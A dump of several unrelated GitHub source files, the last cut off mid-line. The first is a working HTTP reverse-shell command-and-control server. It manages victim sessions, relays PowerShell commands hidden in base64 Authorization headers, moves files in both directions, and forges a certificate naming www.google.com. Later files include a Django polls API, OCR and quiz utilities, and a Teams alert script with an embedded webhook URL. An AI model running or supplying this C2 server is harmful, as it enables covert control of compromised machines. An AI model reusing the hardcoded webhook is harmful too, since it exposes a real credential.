+{"seq_id":"71227205283","text":"#!/usr/bin/python3\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport base64\nfrom termcolor import colored\nimport urllib.parse\nimport time\nimport readline\nimport ssl\nimport argparse\nimport json\nfrom pynput.keyboard import Key, Controller\nimport signal\nfrom datetime import datetime, date\nfrom OpenSSL import crypto, SSL\nfrom os import path\nfrom prettytable import PrettyTable\n\nreadline.parse_and_bind(\"tab: complete\")\nCLIENT_DICT = {}\nCURRENT_CLIENT = \"\"\nKEY_PULSED = False\n\nclass myHandler(BaseHTTPRequestHandler):\n def log_message(self, format, *args):\n pass\n\n def do_GET(self):\n self.send_response(200)\n self.wfile.write(\"

It Works!

\".encode())\n return\n\n def do_POST(self):\n self.send_response(200)\n html = \"

It Works!

\"\n client = self.client_address[0]\n \n result, parser_type, json_response, color = self.parseResult()\n self.controlNewClients(client, json_response)\n pwd = self.getPwd(json_response)\n\n if client == CURRENT_CLIENT:\n if (self.isDownloadFunctCalled(json_response)):\n filename, file_content, output = self.parseDownload(json_response)\n functions = Functions()\n functions.download(filename, file_content, output)\n else:\n if ((json_response[\"result\"] != json_response[\"pwd\"]) and \n (\"InvokeWebRequestCommand\" not in result) and\n (\"WebCmdletWebResponseException\" not in result)):\n self.printResult(result, color)\n\n try:\n if (parser_type == \"newclient\"):\n command = self.newCommand(pwd, True)\n elif (\"InvokeWebRequestCommand\" in result):\n command = self.newCommand(pwd, False, True)\n else:\n command = self.newCommand(pwd)\n self.sendCommand(command, html)\n except BrokenPipeError:\n pass\n if (parser_type == \"newclient\"):\n command = self.newCommand(pwd, True)\n self.sendCommand(command, html)\n return\n \n def controlNewClients(self, client, json_response):\n if (client not in CLIENT_DICT):\n hostname = base64.b64decode(json_response[\"hostname\"]).decode('utf-8')\n username = base64.b64decode(json_response[\"cuser\"]).decode('utf-8')\n \n if len(CLIENT_DICT) == 0:\n CLIENT_DICT[client] = {\"session\":1, \"hostname\":hostname, \"username\":username}\n else:\n CLIENT_DICT[client] = {\"session\":list(CLIENT_DICT.items())[-1][1][\"session\"] + 1, \"hostname\":hostname, \"username\":username}\n\n if len(CLIENT_DICT) == 1:\n global CURRENT_CLIENT\n CURRENT_CLIENT = list(CLIENT_DICT.keys())[0] \n\n def parseResult(self):\n test_data = self.rfile.read(int(self.headers['Content-Length']))\n data = json.loads(test_data.decode('utf-8'))\n parser_type = data[\"type\"]\n result = \"\"\n color = \"white\"\n client = self.client_address[0]\n\n if parser_type != \"newclient\":\n try:\n if (parser_type == \"C0MM4ND\"):\n color = \"white\"\n elif (parser_type == \"UPL04D\" or parser_type == \"D0WNL04D\"):\n color = \"green\"\n elif (parser_type == \"3RR0R\"):\n color = \"red\"\n \n result = urllib.parse.unquote(data[\"result\"])\n result = (base64.b64decode(data[\"result\"])).decode('utf-8')\n except:\n pass\n else:\n input(colored(\"[!] New Connection from {}, please press ENTER!\".format(client),'red'))\n \n return result, parser_type, data, color\n\n def parseDownload(self, json_result):\n downloaded_file_path = \"\"\n output = \"\"\n file_content = \"\"\n\n try:\n output = json_result[\"result\"]\n downloaded_file_path = json_result[\"pathDst\"]\n file_content = json_result[\"file\"]\n except KeyError:\n pass\n\n return downloaded_file_path, file_content, output\n\n def getPwd(self, json_response):\n try:\n if json_response[\"pwd\"]:\n pwd_decoded = base64.b64decode(json_response[\"pwd\"].encode())\n pwd = pwd_decoded.decode('utf-8').strip()\n except KeyError:\n pwd_decoded = base64.b64decode(json_response[\"result\"].encode())\n pwd = pwd_decoded.decode('utf-8').strip()\n return pwd\n\n def printResult(self, result, color):\n print(colored(result, color))\n\n def isDownloadFunctCalled(self, json_response):\n iscalled = False\n try:\n if (json_response[\"type\"] == \"D0WNL04D\" and json_response[\"file\"]):\n iscalled = True\n except KeyError:\n pass\n return iscalled\n\n def newCommand(self, pwd, newclient=False, reconnect=False):\n command = \"\"\n try:\n if pwd != \"\":\n if (not newclient) and (not reconnect):\n command = input(colored(\"PS {}> \".format(pwd), \"blue\"))\n if command == \"\":\n command = \"pwd | Format-Table -HideTableHeaders\"\n else:\n command = \"pwd | Format-Table -HideTableHeaders\"\n except EOFError:\n global KEY_PULSED\n KEY_PULSED = True\n return command\n\n def sendCommand(self, command, html, content=\"\"):\n if (command != \"\"):\n command_list = command.split(\" \")\n if (command_list[0] == \"upload\"):\n functions = Functions()\n try:\n if (len(command_list) == 3 or command[-1] == '\"'):\n if '\"' in command_list[1]:\n filename = command.split('\"')[1]\n else:\n filename = command_list[1]\n elif ('\"' in command_list[1]):\n filename = command.split('\"')[1]\n \n content = functions.upload(filename)\n html = content.decode('utf-8')\n except (AttributeError, IndexError, UnboundLocalError) as e:\n print (colored(\"\\r\\n[!] Source and/or destination file not found!\", \"red\"))\n print (colored(\"\\t- Usage: upload /src/path/file C:\\\\dest\\\\path\\\\file\\n\", \"red\"))\n elif (command_list[0] == \"download\"):\n try:\n download = command_list[0]\n srcFile = command_list[1]\n dstFile = command_list[2]\n except IndexError:\n print (colored(\"\\r\\n[!] Source and/or destination file not found!\", \"red\"))\n print (colored(\"\\t- Usage: download C:\\\\src\\\\path\\\\file /dst/path/file\\n\", \"red\"))\n \n elif (command.split(\" \")[0]) == \"exit\":\n # Delete current client from CLIENT_DICT\n global CLIENT_DICT\n global CURRENT_CLIENT\n del CLIENT_DICT[CURRENT_CLIENT]\n if len(CLIENT_DICT) > 0:\n CURRENT_CLIENT = list(CLIENT_DICT.keys())[0]\n print(colored(\"[*] Session has been closed\", \"green\"))\n print(colored(\"[!] WARNING: Session been changed to {}!\".format(CURRENT_CLIENT), \"yellow\"))\n\n CMD = base64.b64encode(command.encode())\n self.send_header('Authorization',CMD.decode('utf-8'))\n self.end_headers()\n self.wfile.write(html.encode())\n\n\nclass Functions():\n def upload(self, filename):\n try:\n with open(filename, mode='rb') as file: # b is important -> binary\n content = file.read()\n return base64.b64encode(content)\n except FileNotFoundError:\n print (colored(\"\\r\\n[!] Source file not found!\", \"red\"))\n\n def download(self, filename, content, output):\n try:\n with open(filename, mode='wb') as file: # b is importante -> binary\n content = base64.b64decode(content)\n file.write(content)\n print(colored(output, \"green\"))\n except:\n print (colored(\"\\r\\n[!] Error: Writing file!\", \"red\"))\n\n\nclass Certificate():\n def checkCertificateExpiration(self):\n expired = False\n\n cert = crypto.load_certificate(crypto.FILETYPE_PEM, open('certificate/cacert.pem', 'rt').read())\n cert_date = datetime.strptime(cert.get_notAfter().decode('utf-8'),\"%Y%m%d%H%M%SZ\")\n today = date.today()\n current_date = today.strftime(\"%Y-%m-%d\")\n\n if str(current_date) == str(cert_date).split(\" \")[0]:\n expired = True\n return expired\n\n def genCertificate(self, KEY_FILE=\"certificate/private.pem\", CERT_FILE=\"certificate/cacert.pem\"):\n k = crypto.PKey()\n k.generate_key(crypto.TYPE_RSA, 4096)\n\n cert = crypto.X509()\n cert.get_subject().C = \"UK\"\n cert.get_subject().ST = \"London\"\n cert.get_subject().L = \"London\"\n cert.get_subject().O = \"Development\"\n cert.get_subject().CN = \"www.google.com\"\n cert.gmtime_adj_notBefore(0)\n cert.gmtime_adj_notAfter(31557600)\n cert.set_issuer(cert.get_subject())\n cert.set_pubkey(k)\n cert.sign(k, 'sha512')\n with open(CERT_FILE, \"wt\") as f:\n f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode(\"utf-8\"))\n with open(KEY_FILE, \"wt\") as f:\n f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k).decode(\"utf-8\"))\n\n def checkCertPath(self):\n exist = False\n if (path.exists(\"certificate/cacert.pem\") and path.exists(\"certificate/private.pem\")):\n exist = True\n return exist\n\nclass Readline_functions():\n def completer(self, text, state):\n main_commands = [\"help\", \"exit\", \"sessions\", \"interact\"]\n options = [i for i in main_commands if i.startswith(text)]\n if state < len(options):\n return options[state]\n else:\n return None\n\n def main_help_banner(self):\n print(\"\\n\")\n print(\"Available commands to use :\\n\")\n print(\"+++++++++\")\n print(\"help \\t\\t\\t\\tShow this help menu\")\n print(\"sessions \\t\\t\\tList all active sessions\")\n print(\"interact {session_id} \\t\\tInteract with a session. Example: interact 1\")\n print(\"exit \\t\\t\\t\\tClose the server\")\n print(\"\\n\")\n\n\nclass Menu():\n def printSessionTable(self):\n t = PrettyTable([\"Session ID\", \"IP\", \"Username\", \"Hostname\"])\n for client in CLIENT_DICT.keys():\n t.add_row([CLIENT_DICT[client][\"session\"], client, CLIENT_DICT[client][\"username\"], CLIENT_DICT[client][\"hostname\"]])\n print(colored(t.get_string(title=\"Sessions\"), \"green\"))\n\n def construct_menu(self, menu, server):\n if menu[0] == \"sessions\":\n #server.handle_request()\n self.printSessionTable()\n\n elif menu[0] == \"exit\":\n server.server_close()\n exit(0)\n\n elif menu[0] == \"help\":\n rf = Readline_functions()\n rf.main_help_banner()\n \n elif menu[0] == \"interact\":\n if len(CLIENT_DICT) == 0:\n print(colored(\"[!] Sorry, there are no clients!\", \"red\"))\n else:\n try:\n global CURRENT_CLIENT\n for client in list(CLIENT_DICT.keys()):\n if CLIENT_DICT[client][\"session\"] == int(menu[1]):\n CURRENT_CLIENT = client\n while True:\n global KEY_PULSED\n if KEY_PULSED:\n KEY_PULSED = False\n break\n request, client_address = server.get_request()\n\n if CURRENT_CLIENT == client_address[0]:\n if server.verify_request(request,client_address):\n server.process_request(request,client_address)\n else:\n server.finish_request(request, client_address)\n except ValueError:\n print (colored(\"[!] Session number {} doesn't exist\".format(menu[1]), \"red\"))\n\ndef handler(signum, frame):\n pass\n\nif __name__ == \"__main__\":\n banner = \"\"\"\n██╗ ██╗████████╗████████╗██████╗ ██╗███████╗ ██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗\n██║ ██║╚══██╔══╝╚══██╔══╝██╔══██╗ ██╔╝██╔════╝ ██╔══██╗██╔════╝██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║\n███████║ ██║ ██║ ██████╔╝██╔╝ ███████╗ ██████╔╝█████╗ ██║ ██║███████╗███████║█████╗ ██║ ██║\n██╔══██║ ██║ ██║ ██╔═══╝██╔╝ ╚════██║ ██╔══██╗██╔══╝ ╚██╗ ██╔╝╚════██║██╔══██║██╔══╝ ██║ ██║\n██║ ██║ ██║ ██║ ██║ ██╔╝ ███████║ ██║ ██║███████╗ ╚████╔╝ ███████║██║ ██║███████╗███████╗███████╗\n╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝╚══════╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝\n By: 3v4Si0N\n \"\"\"\n print (colored(banner, 'yellow'))\n parser = argparse.ArgumentParser(description='Process some integers.')\n parser.add_argument('host', help='Listen Host', type=str)\n parser.add_argument('port', help='Listen Port', type=int)\n parser.add_argument('--ssl', default=False, action=\"store_true\", help='Send traffic over ssl')\n args = parser.parse_args()\n\n try:\n HOST = args.host\n PORT = args.port\n server = HTTPServer((HOST, PORT), myHandler)\n print(time.asctime(), 'Server UP - %s:%s' % (HOST, PORT))\n signal.signal(signal.SIGQUIT, handler)\n\n if (args.ssl):\n cert = Certificate()\n if ((cert.checkCertPath() == False) or cert.checkCertificateExpiration()):\n cert.genCertificate()\n server.socket = ssl.wrap_socket (server.socket, certfile='certificate/cacert.pem', keyfile='certificate/private.pem', server_side=True)\n\n server.handle_request()\n rf = Readline_functions()\n menu = Menu()\n while True:\n readline.set_completer(rf.completer)\n readline.parse_and_bind(\"tab: complete\")\n\n menu_command = input(colored(\"\\nHTTP-revshell> \", \"yellow\")).split(\" \")\n menu.construct_menu(menu_command, server)\n\n except KeyboardInterrupt:\n print (' received, shutting down the web server')\n server.server_close()\n","repo_name":"AVGirl/RTLab","sub_path":"Command&Control/HTTP-revshell/server-multisession.py","file_name":"server-multisession.py","file_ext":"py","file_size_in_byte":15855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39119520142","text":"import json\nfrom django.shortcuts import render\nfrom django.http import JsonResponse\n\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom .serializers import PollSerializer, ChoiceSerializer\nfrom django.shortcuts import get_object_or_404\nfrom django.db.models import Q\nfrom django.core.paginator import Paginator\n\nfrom .misc import *\nfrom .models import *\n\n# Create your views here.\n\n@api_view(['GET'])\ndef getPolls(request):\n\tpolls = Poll.objects.all()\n\tserial_polls = PollSerializer(polls, many=True)\n\tquery = request.query_params\n\tif(len(query) > 0):\n\t\titems_per_page = query['items_per_page']\n\t\tcurrent_page = query['current_page']\n\t\tp = Paginator(polls, items_per_page)\n\t\tnumber_of_pages = p.num_pages\n\t\treturn Response({\n\t\t\t\"number_of_pages\": number_of_pages,\n\t\t\t# \"number_of_pages\": \"{}\".format(number_of_pages),\n\t\t\t\"data\": PollSerializer((p.page(current_page).object_list), many=True).data\n\t\t\t})\n\treturn Response(serial_polls.data)\n\n@api_view(['GET'])\ndef getPollChoices(request,pk):\n\ttry:\n\t\tpoll = Poll.objects.get(pk=pk)\n\texcept:\n\t\treturn Response({\"error\": \"Id is incorrect\"}, status=400)\n\tchoices = poll.choice_set.all()\n\tserial_choices = ChoiceSerializer(choices, many=True)\n\treturn Response(serial_choices.data)\n\n@api_view(['GET'])\ndef search(request,key):\n\tpolls = Poll.objects.filter(Q(title__icontains=key) | Q(description__icontains=key) | Q(choice__text__icontains=key)).distinct()\n\tserial_polls = PollSerializer(polls, many=True)\n\tquery = request.query_params\n\tif(len(query) > 0):\n\t\titems_per_page = query['items_per_page']\n\t\tcurrent_page = query['current_page']\n\t\tp = Paginator(polls, items_per_page)\n\t\tnumber_of_pages = p.num_pages\n\t\treturn Response({\n\t\t\t\"number_of_pages\": number_of_pages,\n\t\t\t# \"number_of_pages\": \"{}\".format(number_of_pages),\n\t\t\t\"data\": PollSerializer((p.page(current_page).object_list), many=True).data\n\t\t\t})\n\treturn Response(serial_polls.data)\n\n@api_view(['POST'])\ndef vote(request):\n\ttry:\n\t\t# json_data = json.loads(request.body)\n\t\t# email = json_data['email']\n\t\t# choice_id = json_data['choice_id']\n\t\temail = request.data['email']\n\t\tchoice_id = request.data['choice_id']\n\texcept:\n\t\treturn Response({\"error\": \"Missing data\"}, status=400)\n\tvoter = get_Voter(email)\n\ttry:\n\t\tchoice = Choice.objects.get(pk=choice_id)\n\texcept:\n\t\treturn Response({\"error\": \"Wrong data\"}, status=400)\n\n\tpoll = choice.poll\n\n\tif not is_first_time_voter(poll,voter):\n\t\treturn Response({\"error\": \"Already voted!\"}, status=400)\n\n\tif is_Poll_expired(poll):\n\t\treturn Response({\"error\": \"Poll expired!\"}, status=400)\n\t\t\n\totp = generate_OTP()\n\tdeactivate_old_otp(voter)\n\n\tconfirmation = Confirmation(otp=otp,voter=voter)\n\tconfirmation.save()\n\n\tsend_Email(otp=otp, receipient=voter.email)\n\n\treturn Response(\"Email sent, enter OTP to proceed\")\n\n@api_view(['POST'])\ndef confirm(request):\n\ttry:\n\t\temail = request.data['email']\n\t\tchoice_id = request.data['choice_id']\n\t\totp = request.data['otp']\n\texcept:\n\t\treturn Response({\"error\": \"Missing data\"}, status=400)\n\tvoter = get_Voter(email)\n\ttry:\n\t\tchoice = Choice.objects.get(pk=choice_id)\n\texcept:\n\t\treturn Response({\"error\": \"Wrong data\"}, status=400)\n\t\n\ttry:\n\t\tconfirmation = Confirmation.objects.get(otp=otp)\n\texcept:\n\t\treturn Response({\"error\": \"Wrong otp\"}, status=400)\n\n\tpoll = choice.poll\n\n\tif is_Poll_expired(poll):\n\t\treturn Response({\"error\": \"Poll expired!\"}, status=400)\n\n\tif not check_email_otp(confirmation,voter):\n\t\treturn Response({\"error\": \"Wrong otp\"}, status=400)\n\n\tif is_OTP_expired(confirmation) or not is_OTP_active(confirmation):\n\t\treturn Response({\"error\": \"OTP expired\"}, status=400)\n\n\tincrement_vote(choice)\n\tvoter.polls.add(poll)\n\tdeactivate_old_otp(voter)\n\t\n\treturn Response(\"Voted Successfully\")","repo_name":"omarafifii/polls-backend","sub_path":"voting_system/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71672044963","text":"\n\nimport pymsteams\n\nhost = \"http://localhost:8050/\"\npath_docs = \"validations/stroke_data/csv/warning/\"\nmyTeamsMessage = pymsteams.connectorcard(\"https://epitafr.webhook.office.com/webhookb2/57c5a082-c81e-48cd-9b92-f7279598eedd@3534b3d7-316c-4bc9-9ede-605c860f49d2/IncomingWebhook/362046e3d3794351a42fa50fd8d80a02/5347364a-878b-4d50-810d-d18b7c79224e\")\n\n\ndef send_alert(result):\n\n myMessageSection = pymsteams.cardsection()\n\n myTeamsMessage.title(\"Ingest Data Alert!\")\n myTeamsMessage.text(\"Great expectation analysis\")\n myMessageSection.addFact(\"Run Name:\", result[\"run_name\"])\n myMessageSection.addFact(\"Run Time:\", result[\"run_time\"])\n\n link_doc = host + path_docs \\\n + result[\"run_name\"] \\\n + \"/\" + result[\"run_name\"] \\\n + \"/\" + result[\"batch_id\"] + \".html\"\n\n myTeamsMessage.addLinkButton(\"Information\", link_doc)\n\n myTeamsMessage.addSection(myMessageSection)\n myTeamsMessage.color(\"#E7625F\")\n\n myTeamsMessage.send()\n","repo_name":"Isaacgv/stroke_prediction_airflow","sub_path":"process_functions/teams_alert.py","file_name":"teams_alert.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"6897858105","text":"\"\"\"\r\n Имя проекта: practicum_1\r\n Номер версии: 1.0\r\n Имя файла: 54.ру\r\n Автор: 2020 © А.И. Баскаков, Челябинск\r\n Лицензия использования: CC BY-NC 4.0 (https://creativecommons.org/licenses/by-nc/4.0/deed.ru)\r\n Дата создания: 16/12/2020\r\n Описание: Задача 54.\r\n #версия Python: 3.9\r\n\"\"\"\r\nimport re\r\nM = 2\r\nlist_strings = []\r\nfor i in range(0, M):\r\n print(\"Введите строку:\", end=' ')\r\n list_strings.append(input())\r\n\r\nprint(\"Введите слог:\", end=' ')\r\nsyllable = input()\r\n\r\nfor string in list_strings:\r\n count = len(re.findall(syllable, string))\r\n print(\"В строке \\\"%s\\\" слог \\\"%s\\\" встречается %s раз\"\r\n % (string, syllable, count))\r\n","repo_name":"Andrey27936/practicum_1","sub_path":"54.py","file_name":"54.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29517091569","text":"\n# coding: utf-8\n\n# In[6]:\n\n#from Bio.Seq import Seq\n#from Bio.Alphabet import IUPAC\n#from Bio.SeqUtils import GC\n\n\n# In[7]:\n\n#getting user input on what are the sequences to be joined\n\nseq_1 = input(\"What is the 1st sequence to be joined?\")\nseq_2 = input(\"What is the 2nd sequence to be joined?\")\n\n\n# In[8]:\n\nseq1_len = len(seq_1)\nseq2_len = len(seq_2)\n\n\n# In[9]:\n\nif seq1_len > seq2_len:\n base_seq = seq_1\n short_seq = seq_2\n out_write = \"Add 100 nanograms of fragment 1 to the reaction\"\n out_write2 = \"For fragment 2, add: \"\nelif seq2_len > seq1_len:\n base_seq = seq_2\n short_seq = seq_1\n out_write = \"Add 100 nanograms of fragment 2 to the reaction\"\n out_write2 = \"For fragment 1, add: \"\n\nbase_mw = len(base_seq)*660\nshort_mw = len(short_seq)*660\n\n\n# In[10]:\n\n#calculate the nanograms to match at the molar level the longest fragment, default for long fragment is 100 nanograms\nbase_pmols = ((100/10**9)/(base_mw))*(10**12)\nnanograms_short = (base_pmols/(10**12))*(short_mw)*(10**9)\n\n\n# In[14]:\n\nprint(out_write)\nprint (out_write2 + str(nanograms_short) + \" nanograms\")\n\n\n# In[ ]:\n\n\n\n","repo_name":"joanga/adv_python_biology","sub_path":"py_tools/SOE_fragment_calculator.py","file_name":"SOE_fragment_calculator.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"16960459464","text":"import re\nimport os\nimport numpy as np\nimport cv2\n\nfrom utils import sparse_tuple_from, resize_image, label_to_array, read_dictionary\n\nclass DataManager(object):\n def __init__(self, batch_size, model_path, examples_picture_path, examples_label_path, dictionary_path,max_image_width, train_test_ratio, max_char_count):\n if train_test_ratio > 1.0 or train_test_ratio < 0:\n raise Exception('Incoherent ratio!')\n\n print(train_test_ratio)\n\n self.train_test_ratio = train_test_ratio\n self.max_image_width = max_image_width\n self.batch_size = batch_size\n self.model_path = model_path\n self.current_train_offset = 0\n\n self.examples_picture_path = examples_picture_path\n self.examples_label_path = examples_label_path\n self.max_char_count = max_char_count\n self.dictionary_path = dictionary_path\n self.data, self.data_len, self.NUM_CLASSES = self.__load_data()\n self.test_offset = int(train_test_ratio * self.data_len)\n self.current_test_offset = self.test_offset\n self.train_batches = self.__generate_all_train_batches()\n self.test_batches = self.__generate_all_test_batches()\n\n def __load_data(self):\n \"\"\"\n Load all the images in the folder\n \"\"\"\n\n print('Loading data')\n\n examples = []\n count = 0\n skipped = 0\n # for f in os.listdir(self.examples_picture_path):\n # if len(f.split('_')[0]) > self.max_char_count:\n # continue\n # arr, initial_len = resize_image(\n # os.path.join(self.examples_path, f),\n # self.max_image_width\n # )\n with open(self.examples_label_path,'r') as f: # Address of target_label.txt\n for line in f.readlines():\n address = line.split(\"__\")[0]\n\n label = line.split(\"__\")[1]\n if len(label) > self.max_char_count:\n continue\n if list(label)[0]=='#':\n continue\n img = cv2.imread(address, cv2.IMREAD_GRAYSCALE)\n arr, initial_len = resize_image(img, self.max_image_width)\n dictionary,_, dictionary_len = read_dictionary(self.dictionary_path)\n\n examples.append(\n (\n arr,\n label,\n label_to_array(label, dictionary)\n )\n )\n count += 1\n dictionary_len = dictionary_len + 1 #!\n return examples, len(examples), dictionary_len\n\n\n\n def __generate_all_train_batches(self):\n train_batches = []\n while not self.current_train_offset + self.batch_size > self.test_offset:\n old_offset = self.current_train_offset\n\n new_offset = self.current_train_offset + self.batch_size\n\n self.current_train_offset = new_offset\n\n raw_batch_x, raw_batch_y, raw_batch_la = zip(*self.data[old_offset:new_offset])\n\n batch_y = np.reshape(\n np.array(raw_batch_y),\n (-1)\n )\n\n batch_dt = sparse_tuple_from(\n np.reshape(\n np.array(raw_batch_la),\n (-1)\n )\n )\n\n batch_x = np.reshape(\n np.array(raw_batch_x),\n (-1, self.max_image_width, 32, 1)\n )\n\n train_batches.append((batch_y, batch_dt, batch_x))\n return train_batches\n\n def __generate_all_test_batches(self):\n test_batches = []\n while not self.current_test_offset + self.batch_size > self.data_len:\n old_offset = self.current_test_offset\n\n new_offset = self.current_test_offset + self.batch_size\n\n self.current_test_offset = new_offset\n\n raw_batch_x, raw_batch_y, raw_batch_la = zip(*self.data[old_offset:new_offset])\n\n batch_y = np.reshape(\n np.array(raw_batch_y),\n (-1)\n )\n\n batch_dt = sparse_tuple_from(\n np.reshape(\n np.array(raw_batch_la),\n (-1)\n )\n )\n\n batch_x = np.reshape(\n np.array(raw_batch_x),\n (-1, self.max_image_width, 32, 1)\n )\n\n test_batches.append((batch_y, batch_dt, batch_x))\n return test_batches\n","repo_name":"ucassjy/SimpleOCR","sub_path":"recognition/data_manager.py","file_name":"data_manager.py","file_ext":"py","file_size_in_byte":4484,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"29270184541","text":"from quizzApp.utils.dependecies import *\nfrom quizzApp.utils.common_functions import *\nfrom string import punctuation\npunctuation = punctuation + '\\n'\n\ndef MCQ_output(text):\n text_min_length = 100\n if len(text)< text_min_length:\n return \"Text too small to generate a MCQ quiz\"\n \n text_is_tamil = False \n if detect( text[:500] if len(text) > 500 else text)=='ta':\n text = translate_tamil_to_english(text)\n text_is_tamil = True \n nlp = spacy.load(\"en_core_web_sm\")\n stopwords = list(STOP_WORDS)\n doc = nlp(text)\n\n word_frequencies = {}\n for word in doc:\n if word.text.lower() not in stopwords:\n if word.text.lower() not in punctuation:\n if word.text not in word_frequencies.keys():\n word_frequencies[word.text] = 1\n else:\n word_frequencies[word.text] += 1\n max_frequency = max(word_frequencies.values())\n for word in word_frequencies.keys():\n word_frequencies[word] = word_frequencies[word]/max_frequency\n sentence_tokens = [sent for sent in doc.sents]\n sentence_scores = {}\n for sent in sentence_tokens:\n for word in sent:\n if word.text.lower() in word_frequencies.keys():\n if sent not in sentence_scores.keys():\n sentence_scores[sent] = word_frequencies[word.text.lower()]\n else:\n sentence_scores[sent] += word_frequencies[word.text.lower()]\n str_sentence_scores = {}\n for key in sentence_scores:\n new_key = str(key)\n str_sentence_scores[new_key] = sentence_scores[key]\n alpha_words = {word: freq for word, freq in word_frequencies.items() if word.isalpha()}\n top_words = random.sample(heapq.nlargest(10, alpha_words, key=alpha_words.get),10)\n str_sentences = []\n for i in range(len(sentence_tokens)):\n sente = str(sentence_tokens[i])\n str_sentences.append(sente)\n mappedSents=mapSents(top_words,str_sentences)\n mappedDists={}\n for each in mappedSents:\n if len(mappedSents[each]) != 0:\n wordsense=getWordSense(mappedSents[each][0],each) #gets the sense of the word\n if wordsense: #if the wordsense is not null/none\n dists=getDistractors(wordsense,each) #Gets the WordNet distractors\n if len(dists)==0: #If there are no WordNet distractors available for the current word\n dists=getDistractors2(each) #The gets the distractors from the ConceptNet API\n if len(dists)!=0: #If there are indeed distractors from WordNet available, then maps them\n # Get the top 3 distractors based on their similarity score\n top_dists = heapq.nlargest(3, dists, key=lambda x: x[1])\n mappedDists[each]=top_dists\n else: #If there is no wordsense, the directly searches/uses the ConceptNet\n dists=getDistractors2(each)\n if len(dists)>0: #If it gets the Distractors then maps them\n # Get the top 3 distractors based on their similarity score\n top_dists = heapq.nlargest(3, dists, key=lambda x: x[1])\n mappedDists[each]=top_dists\n nlp_2 = spacy.load(\"en_core_web_lg\")\n mappedDists = map_distractors(mappedSents, nlp_2)\n iterator = 1 #To keep the count of the questions\n i = 0\n sentences_fill_in = []\n unsuccessful_attempts = 0 #Counter for unsuccessful attempts\n max_questions = len(set(mappedSents.keys()).intersection(set(mappedDists.keys())))\n return_text = \"\"\n answers = \"\"\n\n while i < max_questions and unsuccessful_attempts < 10*max_questions: #Exit loop after 10*num_questions unsuccessful attempts\n each = random.choice(list(mappedDists.keys()))\n if each in mappedSents and mappedSents[each]: # Check if there are any sentences available for the word\n sent = mappedSents[each][0]\n if sent not in sentences_fill_in:\n p = re.compile(each,re.IGNORECASE) #Converts into regular expression for pattern matching\n op = p.sub(\" *****\",sent) #Replaces the keyword with underscores(blanks)\n ##print(\"Question %s-> %s\"%(iterator, op)) #Prints the question along with a question number\n return_text = return_text + ((\"Question %s-> %s\"%(iterator, op)) if text_is_tamil == False else translate_english_to_tamil(\"Question %s-> %s\"%(iterator, op))) + \"\\n\"\n options = [each.capitalize()]+random.sample(mappedDists[each], 3) #Capitalizes the options\n options = options[:4] #Selects only 4 options\n random.shuffle(options) #Shuffle the options so that order is not always same\n for i,ch in enumerate(options):\n if ch.lower() == each.lower():\n answer = ch\n answer_index = i\n ##print(\"\\t%s: %s\"%(chr(65+i), ch.capitalize())) #Print options\n return_text = return_text + ((\"\\t%s: %s\"%(chr(65+i), ch.capitalize())) if text_is_tamil == False else translate_english_to_tamil(\"\\t%s: %s\"%(chr(65+i), ch.capitalize())) )+ \"\\n\"\n ##print()\n ##print(\"\\tAnswer: %s\\n\"%(chr(65+answer_index) + \". \" + answer.capitalize())) #Print the correct answer\n answers = answers + ((\"\\tAnswer: %s\\n\"%(chr(65+answer_index) + \". \" + answer.capitalize())) if text_is_tamil == False else translate_english_to_tamil(\"\\tAnswer: %s\\n\"%(chr(65+answer_index) + \". \" + answer.capitalize()))) + \"\\n\"\n iterator += 1 #Increase the counter\n sentences_fill_in.append(sent)\n i += 1\n unsuccessful_attempts = 0 #Reset unsuccessful_attempts counter\n else:\n unsuccessful_attempts += 1 #Increment unsuccessful_attempts counter\n else:\n unsuccessful_attempts += 1 #Increment unsuccessful_attempts counter if no sentences available for the word\n \n return return_text + \"\\n\\nAnswers :\\n\" + answers\n","repo_name":"Youssef-ADOUIRI/Quizzter","sub_path":"quizzApp/utils/MCQ.py","file_name":"MCQ.py","file_ext":"py","file_size_in_byte":6105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1399086474","text":"from PIL import Image\nimport albumentations as A\nimport cv2 as cv\nimport numpy as np\n\nimport math\nimport matplotlib.pyplot as plt\nfrom pathlib import Path\nimport os\n\n# import pdb\n# pdb.set_trace()\n\n# --------------- Support Functions --------------------------------------------------------\n\n\ndef crop_base(height, width):\n transformations = [A.Crop(always_apply=True, p=1.0, x_min=0,\n y_min=0, x_max=width, y_max=height - 70), ]\n return transformations\n\n\ndef neighbors(a, radius, rowNumber, columnNumber):\n return [[a[i][j] if i >= 0 and i < len(a) and j >= 0 and j < len(a[0]) else 0\n for j in range(columnNumber - radius, columnNumber + 1 + radius)]\n for i in range(rowNumber - radius, rowNumber + 1 + radius)]\n\n\ndef pilim(image):\n # In some computers CV.imwrite does not work\n # image = cv.cvtColor(image, cv.COLOR_BGR2RGB)\n im_pil = Image.fromarray(image)\n return im_pil\n\n\n# --------------- Main Function ----------------------------------------------------------\ndef cv_img(path, root_images, custom_threshold=100):\n name = os.path.splitext(path)[0]\n Path(name + \"/\").mkdir(parents=True, exist_ok=True)\n\n # read img\n img = cv.imread(root_images + \"/\" + path, 0)\n height, width = img.shape\n print(f\" {name} image height: {height} and width: 